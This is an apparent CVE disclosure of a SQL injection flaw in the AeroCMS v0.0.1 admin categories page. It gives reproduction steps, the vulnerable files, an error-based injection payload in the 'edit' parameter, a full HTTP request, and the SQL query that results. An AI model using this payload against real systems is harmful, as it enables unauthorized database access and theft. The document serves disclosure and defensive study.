Headline
CVE-2022-45535: AeroCMS-v0.0.1-SQLi update_categories_sql_injection
AeroCMS v0.0.1 was discovered to contain a SQL Injection vulnerability via the edit parameter at \admin\categories.php. This vulnerability allows attackers to access database information.
AeroCMS-v0.0.1-SQLi update_categories_sql_injection****Step to Reproduct
Login to admin panel -> Categories -> Edit.The edit parameter from the AeroCMS-v0.0.1 CMS system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this CMS system and he can use it for very malicious purposes.
Exploit
Query out the current user
Vulnerable Code
1
2
AeroCMS-0.0.1\admin\categories.phpAeroCMS-0.0.1\admin\includes\update_categories.php
The edit parameter is passed in the GET mode and brought into the mysql_query() function without filtering
POC
- Injection Point
1
edit=1+OR+(SELECT+4460+FROM(SELECT+COUNT(*),CONCAT(0x7e,(SELECT+(ELT(4460%3d4460,user()))),0x7e,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)
- Request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /AeroCMS-0.0.1/admin/categories.php?edit=1+OR+(SELECT+4460+FROM(SELECT+COUNT(*),CONCAT(0x7e,(SELECT+(ELT(4460%3d4460,user()))),0x7e,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a) HTTP/1.1Host: localhostCache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/AeroCMS-0.0.1/admin/categories.php?edit=1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=fqkp2e6i3ovd3p117cgt28snqfConnection: close
SQL query statements
1
"SELECT * FROM categories WHERE cat_id = 1 OR (SELECT 4460 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT (ELT(4460=4460,user()))),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)"